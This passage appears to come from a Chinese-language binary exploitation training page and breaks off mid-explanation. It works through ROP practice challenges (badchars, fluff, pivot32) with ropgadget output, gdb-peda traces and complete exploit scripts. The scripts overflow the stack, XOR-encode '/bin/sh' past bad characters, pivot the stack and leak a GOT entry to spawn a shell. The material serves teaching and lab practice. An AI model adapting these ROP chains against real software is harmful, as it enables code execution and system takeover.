from zio import *\n\nxor_ebx_cl = 0x08048890\npop_ebx_ecx = 0x08048896\npop_esi_edi = 0x08048899\nmov_edi_esi = 0x08048893\n\nsystem_plt = 0x080484e0\ndata_addr = 0x0804a038\n\n# encode\nbadchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]\nxor_byte = 0x1\nwhile(1):\n binsh = \"\"\n for i in \"/bin/sh\\x00\":\n c = ord(i) ^ xor_byte\n if c in badchars:\n xor_byte += 1\n break\n else:\n binsh += chr(c)\n if len(binsh) == 8:\n break\n\n# write\npayload = \"A\"*44\npayload += l32(pop_esi_edi)\npayload += binsh[:4]\npayload += l32(data_addr)\npayload += l32(mov_edi_esi)\npayload += l32(pop_esi_edi)\npayload += binsh[4:8]\npayload += l32(data_addr + 4)\npayload += l32(mov_edi_esi)\n\n# decode\nfor i in range(len(binsh)):\n payload += l32(pop_ebx_ecx)\n payload += l32(data_addr + i)\n payload += l32(xor_byte)\n payload += l32(xor_ebx_cl)\n\n# run\npayload += l32(system_plt)\npayload += \"BBBB\"\npayload += l32(data_addr)\n\nio = zio('./badchars32')\nio.writeline(payload)\nio.interact()\n
"},{"location":"Training/Material/Binary%20Exploitation/#badchars","title":"badchars","text":"64 \u4f4d\u7a0b\u5e8f\u4e5f\u662f\u4e00\u6837\u7684\uff0c\u6ce8\u610f\u53c2\u6570\u4f20\u9012\u5c31\u597d\u4e86\u3002
$ ropgadget --binary badchars --only \"mov|pop|ret|xor\"\n...\n0x0000000000400b34 : mov qword ptr [r13], r12 ; ret\n0x0000000000400b3b : pop r12 ; pop r13 ; ret\n0x0000000000400b40 : pop r14 ; pop r15 ; ret\n0x0000000000400b30 : xor byte ptr [r15], r14b ; ret\n0x0000000000400b39 : pop rdi ; ret\nfrom pwn import *\n\npop_r12_r13 = 0x0000000000400b3b\nmov_r13_r12 = 0x0000000000400b34\npop_r14_r15 = 0x0000000000400b40\nxor_r15_r14b = 0x0000000000400b30\npop_rdi = 0x0000000000400b39\n\nsystem_plt = 0x00000000004006f0\ndata_addr = 0x0000000000601000\n\nbadchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]\nxor_byte = 0x1\nwhile(1):\n binsh = \"\"\n for i in \"/bin/sh\\x00\":\n c = ord(i) ^ xor_byte\n if c in badchars:\n xor_byte += 1\n break\n else:\n binsh += chr(c)\n if len(binsh) == 8:\n break\n\npayload = \"A\"*40\npayload += p64(pop_r12_r13)\npayload += binsh\npayload += p64(data_addr)\npayload += p64(mov_r13_r12)\n\nfor i in range(len(binsh)):\n payload += p64(pop_r14_r15)\n payload += p64(xor_byte)\n payload += p64(data_addr + i)\n payload += p64(xor_r15_r14b)\n\npayload += p64(pop_rdi)\npayload += p64(data_addr)\npayload += p64(system_plt)\n\nio = process('./badchars')\nio.recvuntil('>')\nio.sendline(payload)\nio.interactive()\n
"},{"location":"Training/Material/Binary%20Exploitation/#fluff32","title":"fluff32","text":"\u8fd9\u4e2a\u7ec3\u4e60\u4e0e\u4e0a\u9762\u6ca1\u6709\u592a\u5927\u533a\u522b\uff0c\u96be\u70b9\u5728\u4e8e\u6211\u4eec\u80fd\u627e\u5230\u7684 gadgets \u4e0d\u662f\u90a3\u4e48\u76f4\u63a5\uff0c\u6709\u4e00\u4e2a\u6280\u5de7\u662f\u56e0\u4e3a\u6211\u4eec\u7684\u76ee\u7684\u662f\u5199\u5165\u5b57\u7b26\u4e32\uff0c\u90a3\u4e48\u5fc5\u7136\u9700\u8981 mov [reg], reg
\u8fd9\u6837\u7684 gadgets\uff0c\u6211\u4eec\u5c31\u4ece\u8fd9\u91cc\u51fa\u53d1\uff0c\u5012\u63a8\u6240\u9700\u7684 gadgets\u3002
$ ropgadget --binary fluff32 --only \"mov|pop|ret|xor|xchg\"\n...\n0x08048693 : mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret\n0x080483e1 : pop ebx ; ret\n0x08048689 : xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret\n0x0804867b : xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret\n0x08048671 : xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret\n
\u6211\u4eec\u770b\u5230\u4e00\u4e2a\u8fd9\u6837\u7684 mov dword ptr [ecx], edx ;
\uff0c\u53ef\u4ee5\u60f3\u5230\u6211\u4eec\u5c06\u5730\u5740\u653e\u8fdb ecx
\uff0c\u5c06\u6570\u636e\u653e\u8fdb edx
\uff0c\u4ece\u800c\u5c06\u6570\u636e\u5199\u5165\u5230\u5730\u5740\u4e2d\u3002payload \u5982\u4e0b\uff1a
from zio import *\n\nsystem_plt = 0x08048430\ndata_addr = 0x0804a028\n\npop_ebx = 0x080483e1\nmov_ecx_edx = 0x08048693\nxchg_edx_ecx = 0x08048689\nxor_edx_ebx = 0x0804867b\nxor_edx_edx = 0x08048671\n\ndef write_data(data, addr):\n # addr -> ecx\n payload = l32(xor_edx_edx)\n payload += \"BBBB\"\n payload += l32(pop_ebx)\n payload += l32(addr)\n payload += l32(xor_edx_ebx)\n payload += \"BBBB\"\n payload += l32(xchg_edx_ecx)\n payload += \"BBBB\"\n\n # data -> edx\n payload += l32(xor_edx_edx)\n payload += \"BBBB\"\n payload += l32(pop_ebx)\n payload += data\n payload += l32(xor_edx_ebx)\n payload += \"BBBB\"\n\n # edx -> [ecx]\n payload += l32(mov_ecx_edx)\n payload += \"BBBB\"\n payload += l32(0)\n\n return payload\n\npayload = \"A\"*44\n\npayload += write_data(\"/bin\", data_addr)\npayload += write_data(\"/sh\\x00\", data_addr + 4)\n\npayload += l32(system_plt)\npayload += \"BBBB\"\npayload += l32(data_addr)\n\nio = zio('./fluff32')\nio.writeline(payload)\nio.interact()\n
"},{"location":"Training/Material/Binary%20Exploitation/#fluff","title":"fluff","text":"\u63d0\u793a\uff1a\u5728\u4f7f\u7528 ropgadget \u641c\u7d22\u65f6\u52a0\u4e0a\u53c2\u6570 --depth
\u53ef\u4ee5\u5f97\u5230\u66f4\u5927\u957f\u5ea6\u7684 gadgets\u3002
$ ropgadget --binary fluff --only \"mov|pop|ret|xor|xchg\" --depth 20\n...\n0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret\n0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret\n0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret\n0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret\n0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret\nfrom pwn import *\n\nsystem_plt = 0x004005e0\ndata_addr = 0x0000000000601050\n\nxor_r11_r11 = 0x0000000000400822\nxor_r11_r12 = 0x000000000040082f\nxchg_r11_r10 = 0x0000000000400840\nmov_r10_r11 = 0x000000000040084c\npop_r12 = 0x0000000000400832\n\ndef write_data(data, addr):\n # addr -> r10\n payload = p64(xor_r11_r11)\n payload += \"BBBBBBBB\"\n payload += p64(pop_r12)\n payload += p64(addr)\n payload += p64(xor_r11_r12)\n payload += \"BBBBBBBB\"\n payload += p64(xchg_r11_r10)\n payload += \"BBBBBBBB\"\n\n # data -> r11\n payload += p64(xor_r11_r11)\n payload += \"BBBBBBBB\"\n payload += p64(pop_r12)\n payload += data\n payload += p64(xor_r11_r12)\n payload += \"BBBBBBBB\"\n\n # r11 -> [r10]\n payload += p64(mov_r10_r11)\n payload += \"BBBBBBBB\"*2\n payload += p64(0)\n\n return payload\n\npayload = \"A\"*40\npayload += write_data(\"/bin/sh\\x00\", data_addr)\npayload += p64(system_plt)\n\nio = process('./fluff')\nio.recvuntil('>')\nio.sendline(payload)\nio.interactive()\n
"},{"location":"Training/Material/Binary%20Exploitation/#pivot32","title":"pivot32","text":"\u8fd9\u662f\u6311\u6218\u7684\u6700\u540e\u4e00\u9898\uff0c\u96be\u5ea6\u7a81\u7136\u589e\u52a0\u3002\u9996\u5148\u662f\u52a8\u6001\u5e93\uff0c\u52a8\u6001\u5e93\u4e2d\u51fd\u6570\u7684\u76f8\u5bf9\u4f4d\u7f6e\u662f\u56fa\u5b9a\u7684\uff0c\u6240\u4ee5\u5982\u679c\u6211\u4eec\u77e5\u9053\u5176\u4e2d\u4e00\u4e2a\u51fd\u6570\u7684\u5730\u5740\uff0c\u5c31\u53ef\u4ee5\u901a\u8fc7\u76f8\u5bf9\u4f4d\u7f6e\u5173\u7cfb\u5f97\u5230\u5176\u4ed6\u4efb\u610f\u51fd\u6570\u7684\u5730\u5740\u3002\u5728\u5f00\u542f ASLR \u7684\u60c5\u51b5\u4e0b\uff0c\u52a8\u6001\u5e93\u52a0\u8f7d\u5230\u5185\u5b58\u4e2d\u7684\u5730\u5740\u662f\u53d8\u5316\u7684\uff0c\u4f46\u5e76\u4e0d\u5f71\u54cd\u5e93\u4e2d\u51fd\u6570\u7684\u76f8\u5bf9\u4f4d\u7f6e\uff0c\u6240\u4ee5\u6211\u4eec\u8981\u60f3\u529e\u6cd5\u5148\u6cc4\u9732\u51fa\u67d0\u4e2a\u51fd\u6570\u7684\u5730\u5740\uff0c\u4ece\u800c\u5f97\u5230\u76ee\u6807\u51fd\u6570\u5730\u5740\u3002
\u901a\u8fc7\u5206\u6790\u6211\u4eec\u77e5\u9053\u8be5\u7a0b\u5e8f\u4ece\u52a8\u6001\u5e93 libpivot32.so
\u4e2d\u5bfc\u5165\u4e86\u51fd\u6570 foothold_function()
\uff0c\u4f46\u5728\u7a0b\u5e8f\u903b\u8f91\u4e2d\u5e76\u6ca1\u6709\u8c03\u7528\uff0c\u800c\u5728 libpivot32.so
\u4e2d\u8fd8\u6709\u6211\u4eec\u9700\u8981\u7684\u51fd\u6570 ret2win()
\u3002
\u73b0\u5728\u6211\u4eec\u77e5\u9053\u4e86\u53ef\u4ee5\u6cc4\u9732\u7684\u51fd\u6570 foothold_function()
\uff0c\u90a3\u4e48\u600e\u4e48\u6cc4\u9732\u5462\u3002\u524d\u9762\u6211\u4eec\u5df2\u7ecf\u7b80\u5355\u4ecb\u7ecd\u4e86\u5ef6\u65f6\u7ed1\u5b9a\u6280\u672f\uff0c\u5f53\u6211\u4eec\u5728\u8c03\u7528\u5982 func@plt()
\u7684\u65f6\u5019\uff0c\u7cfb\u7edf\u624d\u4f1a\u5c06\u771f\u6b63\u7684 func()
\u51fd\u6570\u5730\u5740\u5199\u5165\u5230 GOT \u8868\u7684 func.got.plt
\u4e2d\uff0c\u7136\u540e func@plt()
\u6839\u636e func.got.plt
\u8df3\u8f6c\u5230\u771f\u6b63\u7684 func()
\u51fd\u6570\u4e0a\u53bb\u3002
\u6700\u540e\u662f\u8be5\u6311\u6218\u6700\u91cd\u8981\u7684\u90e8\u5206\uff0c\u7a0b\u5e8f\u8fd0\u884c\u6211\u4eec\u6709\u4e24\u6b21\u8f93\u5165\uff0c\u7b2c\u4e00\u6b21\u8f93\u5165\u88ab\u653e\u5728\u4e00\u4e2a\u7531 malloc()
\u51fd\u6570\u5206\u914d\u7684\u5806\u4e0a\uff0c\u5f53\u7136\u4e3a\u4e86\u964d\u4f4e\u96be\u5ea6\uff0c\u7a0b\u5e8f\u7279\u5730\u5c06\u8be5\u5730\u5740\u6253\u5370\u4e86\u51fa\u6765\uff0c\u7b2c\u4e8c\u6b21\u7684\u8f93\u5165\u5219\u88ab\u653e\u5728\u4e00\u4e2a\u5927\u5c0f\u9650\u5236\u4e3a 13 \u5b57\u8282\u7684\u6808\u4e0a\uff0c\u8fd9\u4e2a\u7a7a\u95f4\u4e0d\u8db3\u4ee5\u8ba9\u6211\u4eec\u6267\u884c\u5f88\u591a\u4e1c\u897f\uff0c\u6240\u4ee5\u9700\u8981\u8fd0\u7528 stack pivot\uff0c\u5373\u901a\u8fc7\u8986\u76d6\u8c03\u7528\u8005\u7684 ebp\uff0c\u5c06\u6808\u5e27\u8f6c\u79fb\u5230\u53e6\u4e00\u4e2a\u5730\u65b9\uff0c\u540c\u65f6\u63a7\u5236 eip\uff0c\u5373\u53ef\u6539\u53d8\u7a0b\u5e8f\u7684\u6267\u884c\u6d41\uff0c\u901a\u5e38\u7684 payload\uff08\u8fd9\u91cc\u79f0\u4e3a\u526fpayload\uff09 \u7ed3\u6784\u5982\u4e0b\uff1a
buffer padding | fake ebp | leave;ret addr |\n
\u8fd9\u6837\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740\u5c31\u88ab\u8986\u76d6\u4e3a leave;ret \u6307\u4ee4\u7684\u5730\u5740\uff0c\u8fd9\u6837\u7a0b\u5e8f\u5728\u6267\u884c\u5b8c\u5176\u539f\u672c\u7684 leave;ret \u540e\uff0c\u53c8\u6267\u884c\u4e86\u4e00\u6b21 leave;ret\u3002
\u53e6\u5916 fake ebp \u6307\u5411\u6211\u4eec\u53e6\u4e00\u6bb5 payload\uff08\u8fd9\u91cc\u79f0\u4e3a\u4e3bpayload\uff09 \u7684 ebp\uff0c\u5373 \u4e3bpayload \u5730\u5740\u51cf 4 \u7684\u5730\u65b9\uff0c\u5f53\u7136\u4f60\u4e5f\u53ef\u4ee5\u5728\u6784\u9020 \u4e3bpayload \u65f6\u5728\u524d\u9762\u52a0 4 \u4e2a\u5b57\u8282\u7684 padding \u4f5c\u4e3a ebp\uff1a
ebp | payload\n
\u6211\u4eec\u77e5\u9053\u4e00\u4e2a\u51fd\u6570\u7684\u5165\u53e3\u70b9\u901a\u5e38\u662f\uff1a
push ebp\nmov ebp,esp\n
leave \u6307\u4ee4\u76f8\u5f53\u4e8e\uff1a
mov esp,ebp\npop ebp\n
ret \u6307\u4ee4\u4e3a\u76f8\u5f53\u4e8e\uff1a
pop eip\n
\u5982\u679c\u9047\u5230\u4e00\u79cd\u60c5\u51b5\uff0c\u6211\u4eec\u53ef\u4ee5\u63a7\u5236\u7684\u6808\u6ea2\u51fa\u7684\u5b57\u8282\u6570\u6bd4\u8f83\u5c0f\uff0c\u4e0d\u80fd\u5b8c\u6210\u5168\u90e8\u7684\u5de5\u4f5c\uff0c\u540c\u65f6\u7a0b\u5e8f\u5f00\u542f\u4e86 PIE \u6216\u8005\u7cfb\u7edf\u5f00\u542f\u4e86 ASLR\uff0c\u4f46\u540c\u65f6\u5728\u7a0b\u5e8f\u7684\u53e6\u4e00\u4e2a\u5730\u65b9\u6709\u8db3\u591f\u7684\u7a7a\u95f4\u53ef\u4ee5\u5199\u5165 payload\uff0c\u5e76\u4e14\u53ef\u6267\u884c\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u5c06\u6808\u8f6c\u79fb\u5230\u90a3\u4e2a\u5730\u65b9\u53bb\u3002
\u5b8c\u6574\u7684 exp \u5982\u4e0b\uff1a
from pwn import *\n\n#context.log_level = 'debug'\n#context.terminal = ['konsole']\nio = process('./pivot32')\nelf = ELF('./pivot32')\nlibp = ELF('./libpivot32.so')\n\nleave_ret = 0x0804889f\n\nfoothold_plt = elf.plt['foothold_function'] # 0x080485f0\nfoothold_got_plt = elf.got['foothold_function'] # 0x0804a024\n\npop_eax = 0x080488c0\npop_ebx = 0x08048571\nmov_eax_eax = 0x080488c4\nadd_eax_ebx = 0x080488c7\ncall_eax = 0x080486a3\n\nfoothold_sym = libp.symbols['foothold_function']\nret2win_sym = libp.symbols['ret2win']\noffset = int(ret2win_sym - foothold_sym) # 0x1f7\n\nleakaddr = int(io.recv().split()[20], 16)\n\n# calls foothold_function() to populate its GOT entry, then queries that value into EAX\n#gdb.attach(io)\npayload_1 = p32(foothold_plt)\npayload_1 += p32(pop_eax)\npayload_1 += p32(foothold_got_plt)\npayload_1 += p32(mov_eax_eax)\npayload_1 += p32(pop_ebx)\npayload_1 += p32(offset)\npayload_1 += p32(add_eax_ebx)\npayload_1 += p32(call_eax)\n\nio.sendline(payload_1)\n\n# ebp = leakaddr-4, esp = leave_ret\npayload_2 = \"A\"*40\npayload_2 += p32(leakaddr-4) + p32(leave_ret)\n\nio.sendline(payload_2)\nprint io.recvall()\n
\u8fd9\u91cc\u6211\u4eec\u5728 gdb \u4e2d\u9a8c\u8bc1\u4e00\u4e0b\uff0c\u5728 pwnme() \u51fd\u6570\u7684 leave \u5904\u4e0b\u65ad\u70b9\uff1a
gdb-peda$ b *0x0804889f\nBreakpoint 1 at 0x804889f\ngdb-peda$ c\nContinuing.\n[----------------------------------registers-----------------------------------]\nEAX: 0xffe7ec40 ('A' <repeats 40 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\nEBX: 0x0\nECX: 0xffe7ec40 ('A' <repeats 40 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\nEDX: 0xf7731860 --> 0x0\nESI: 0xf772fe28 --> 0x1d1d30\nEDI: 0x0\nEBP: 0xffe7ec68 --> 0xf755cf0c --> 0x0\nESP: 0xffe7ec40 ('A' <repeats 40 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\nEIP: 0x804889f (<pwnme+173>: leave)\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x8048896 <pwnme+164>: call 0x80485b0 <fgets@plt>\n 0x804889b <pwnme+169>: add esp,0x10\n 0x804889e <pwnme+172>: nop\n=> 0x804889f <pwnme+173>: leave \n 0x80488a0 <pwnme+174>: ret\n 0x80488a1 <uselessFunction>: push ebp\n 0x80488a2 <uselessFunction+1>: mov ebp,esp\n 0x80488a4 <uselessFunction+3>: sub esp,0x8\n[------------------------------------stack-------------------------------------]\n0000| 0xffe7ec40 ('A' <repeats 40 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\n0004| 0xffe7ec44 ('A' <repeats 36 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\n0008| 0xffe7ec48 ('A' <repeats 32 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\n0012| 0xffe7ec4c ('A' <repeats 28 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\n0016| 0xffe7ec50 ('A' <repeats 24 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\n0020| 0xffe7ec54 ('A' <repeats 20 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\n0024| 0xffe7ec58 ('A' <repeats 16 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\n0028| 0xffe7ec5c ('A' <repeats 12 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nBreakpoint 1, 0x0804889f in pwnme ()\ngdb-peda$ x/10w 0xffe7ec68\n0xffe7ec68: 0xf755cf0c 0x0804889f 0xf755000a 0x00000000\n0xffe7ec78: 0x00000002 0x00000000 0x00000001 0xffe7ed44\n0xffe7ec88: 0xf755cf10 0xf655d010\ngdb-peda$ x/10w 0xf755cf0c\n0xf755cf0c: 0x00000000 0x080485f0 0x080488c0 0x0804a024\n0xf755cf1c: 0x080488c4 0x08048571 0x000001f7 0x080488c7\n0xf755cf2c: 0x080486a3 0x0000000a\n
\u6267\u884c\u7b2c\u4e00\u6b21 leave;ret \u4e4b\u524d\uff0c\u6211\u4eec\u770b\u5230 EBP \u6307\u5411 fake ebp\uff0c\u5373 0xf755cf0c
\uff0cfake ebp \u6307\u5411 \u4e3bpayload \u7684 ebp\uff0c\u800c\u5728 fake ebp \u540e\u9762\u662f leave;ret \u7684\u5730\u5740 0x0804889f
\uff0c\u5373\u8fd4\u56de\u5730\u5740\u3002
\u6267\u884c\u7b2c\u4e00\u6b21 leave\uff1a
gdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0xffe7ec40 ('A' <repeats 40 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\nEBX: 0x0\nECX: 0xffe7ec40 ('A' <repeats 40 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\nEDX: 0xf7731860 --> 0x0\nESI: 0xf772fe28 --> 0x1d1d30\nEDI: 0x0\nEBP: 0xf755cf0c --> 0x0\nESP: 0xffe7ec6c --> 0x804889f (<pwnme+173>: leave)\nEIP: 0x80488a0 (<pwnme+174>: ret)\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x804889b <pwnme+169>: add esp,0x10\n 0x804889e <pwnme+172>: nop\n 0x804889f <pwnme+173>: leave \n=> 0x80488a0 <pwnme+174>: ret\n 0x80488a1 <uselessFunction>: push ebp\n 0x80488a2 <uselessFunction+1>: mov ebp,esp\n 0x80488a4 <uselessFunction+3>: sub esp,0x8\n 0x80488a7 <uselessFunction+6>: call 0x80485f0 <foothold_function@plt>\n[------------------------------------stack-------------------------------------]\n0000| 0xffe7ec6c --> 0x804889f (<pwnme+173>: leave)\n0004| 0xffe7ec70 --> 0xf755000a --> 0x0\n0008| 0xffe7ec74 --> 0x0\n0012| 0xffe7ec78 --> 0x2\n0016| 0xffe7ec7c --> 0x0\n0020| 0xffe7ec80 --> 0x1\n0024| 0xffe7ec84 --> 0xffe7ed44 --> 0xffe808cf (\"./pivot32\")\n0028| 0xffe7ec88 --> 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x080488a0 in pwnme ()\n
EBP \u7684\u503c 0xffe7ec68
\u88ab\u8d4b\u503c\u7ed9 ESP\uff0c\u7136\u540e\u4ece\u6808\u4e2d\u5f39\u51fa 0xf755cf0c
\uff0c\u5373 fake ebp \u5e76\u8d4b\u503c\u7ed9 EBP\uff0c\u540c\u65f6 ESP+4=0xffe7ec6c
\uff0c\u6307\u5411\u7b2c\u4e8c\u6b21\u7684 leave\u3002
\u6267\u884c\u7b2c\u4e00\u6b21 ret\uff1a
gdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0xffe7ec40 ('A' <repeats 40 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\nEBX: 0x0\nECX: 0xffe7ec40 ('A' <repeats 40 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\nEDX: 0xf7731860 --> 0x0\nESI: 0xf772fe28 --> 0x1d1d30\nEDI: 0x0\nEBP: 0xf755cf0c --> 0x0\nESP: 0xffe7ec70 --> 0xf755000a --> 0x0\nEIP: 0x804889f (<pwnme+173>: leave)\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x8048896 <pwnme+164>: call 0x80485b0 <fgets@plt>\n 0x804889b <pwnme+169>: add esp,0x10\n 0x804889e <pwnme+172>: nop\n=> 0x804889f <pwnme+173>: leave \n 0x80488a0 <pwnme+174>: ret\n 0x80488a1 <uselessFunction>: push ebp\n 0x80488a2 <uselessFunction+1>: mov ebp,esp\n 0x80488a4 <uselessFunction+3>: sub esp,0x8\n[------------------------------------stack-------------------------------------]\n0000| 0xffe7ec70 --> 0xf755000a --> 0x0\n0004| 0xffe7ec74 --> 0x0\n0008| 0xffe7ec78 --> 0x2\n0012| 0xffe7ec7c --> 0x0\n0016| 0xffe7ec80 --> 0x1\n0020| 0xffe7ec84 --> 0xffe7ed44 --> 0xffe808cf (\"./pivot32\")\n0024| 0xffe7ec88 --> 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)\n0028| 0xffe7ec8c --> 0xf655d010 --> 0x0\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nBreakpoint 1, 0x0804889f in pwnme ()\n
EIP=0x804889f
\uff0c\u540c\u65f6 ESP+4\u3002
\u7b2c\u4e8c\u6b21 leave\uff1a
gdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0xffe7ec40 ('A' <repeats 40 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\nEBX: 0x0\nECX: 0xffe7ec40 ('A' <repeats 40 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\nEDX: 0xf7731860 --> 0x0\nESI: 0xf772fe28 --> 0x1d1d30\nEDI: 0x0\nEBP: 0x0\nESP: 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)\nEIP: 0x80488a0 (<pwnme+174>: ret)\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x804889b <pwnme+169>: add esp,0x10\n 0x804889e <pwnme+172>: nop\n 0x804889f <pwnme+173>: leave \n=> 0x80488a0 <pwnme+174>: ret\n 0x80488a1 <uselessFunction>: push ebp\n 0x80488a2 <uselessFunction+1>: mov ebp,esp\n 0x80488a4 <uselessFunction+3>: sub esp,0x8\n 0x80488a7 <uselessFunction+6>: call 0x80485f0 <foothold_function@plt>\n[------------------------------------stack-------------------------------------]\n0000| 0xf755cf10 --> 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)\n0004| 0xf755cf14 --> 0x80488c0 (<usefulGadgets>: pop eax)\n0008| 0xf755cf18 --> 0x804a024 --> 0x80485f6 (<foothold_function@plt+6>: push 0x30)\n0012| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])\n0016| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)\n0020| 0xf755cf24 --> 0x1f7\n0024| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)\n0028| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x080488a0 in pwnme ()\ngdb-peda$ x/10w 0xf755cf10\n0xf755cf10: 0x080485f0 0x080488c0 0x0804a024 0x080488c4\n0xf755cf20: 0x08048571 0x000001f7 0x080488c7 0x080486a3\n0xf755cf30: 0x0000000a 0x00000000\n
EBP \u7684\u503c 0xf755cf0c
\u88ab\u8d4b\u503c\u7ed9 ESP\uff0c\u5e76\u5c06 \u4e3bpayload \u7684 ebp \u8d4b\u503c\u7ed9 EBP\uff0c\u540c\u65f6 ESP+4=0xf755cf10
\uff0c\u8fd9\u4e2a\u503c\u6b63\u662f\u6211\u4eec \u4e3bpayload \u7684\u5730\u5740\u3002
\u7b2c\u4e8c\u6b21 ret\uff1a
gdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0xffe7ec40 ('A' <repeats 40 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\nEBX: 0x0\nECX: 0xffe7ec40 ('A' <repeats 40 times>, \"\\f\\317U\\367\\237\\210\\004\\b\\n\")\nEDX: 0xf7731860 --> 0x0\nESI: 0xf772fe28 --> 0x1d1d30\nEDI: 0x0\nEBP: 0x0\nESP: 0xf755cf14 --> 0x80488c0 (<usefulGadgets>: pop eax)\nEIP: 0x80485f0 (<foothold_function@plt>: jmp DWORD PTR ds:0x804a024)\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x80485e0 <exit@plt>: jmp DWORD PTR ds:0x804a020\n 0x80485e6 <exit@plt+6>: push 0x28\n 0x80485eb <exit@plt+11>: jmp 0x8048580\n=> 0x80485f0 <foothold_function@plt>: jmp DWORD PTR ds:0x804a024\n | 0x80485f6 <foothold_function@plt+6>: push 0x30\n | 0x80485fb <foothold_function@plt+11>: jmp 0x8048580\n | 0x8048600 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a028\n | 0x8048606 <__libc_start_main@plt+6>: push 0x38\n |-> 0x80485f6 <foothold_function@plt+6>: push 0x30\n 0x80485fb <foothold_function@plt+11>: jmp 0x8048580\n 0x8048600 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a028\n 0x8048606 <__libc_start_main@plt+6>: push 0x38\n JUMP is taken\n[------------------------------------stack-------------------------------------]\n0000| 0xf755cf14 --> 0x80488c0 (<usefulGadgets>: pop eax)\n0004| 0xf755cf18 --> 0x804a024 --> 0x80485f6 (<foothold_function@plt+6>: push 0x30)\n0008| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])\n0012| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)\n0016| 0xf755cf24 --> 0x1f7\n0020| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)\n0024| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)\n0028| 0xf755cf30 --> 0xa ('\\n')\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x080485f0 in foothold_function@plt ()\n
\u6210\u529f\u8df3\u8f6c\u5230 foothold_function@plt
\uff0c\u63a5\u4e0b\u6765\u7cfb\u7edf\u901a\u8fc7 _dl_runtime_resolve
\u7b49\u6b65\u9aa4\uff0c\u5c06\u771f\u6b63\u7684\u5730\u5740\u5199\u5165\u5230 .got.plt
\u4e2d\uff0c\u6211\u4eec\u6784\u9020 gadget \u6cc4\u9732\u51fa\u8be5\u5730\u5740\u5730\u5740\uff0c\u7136\u540e\u8ba1\u7b97\u51fa ret2win()
\u7684\u5730\u5740\uff0c\u8c03\u7528\u5b83\uff0c\u5c31\u6210\u529f\u4e86\u3002
\u5730\u5740\u6cc4\u9732\u7684\u8fc7\u7a0b\uff1a
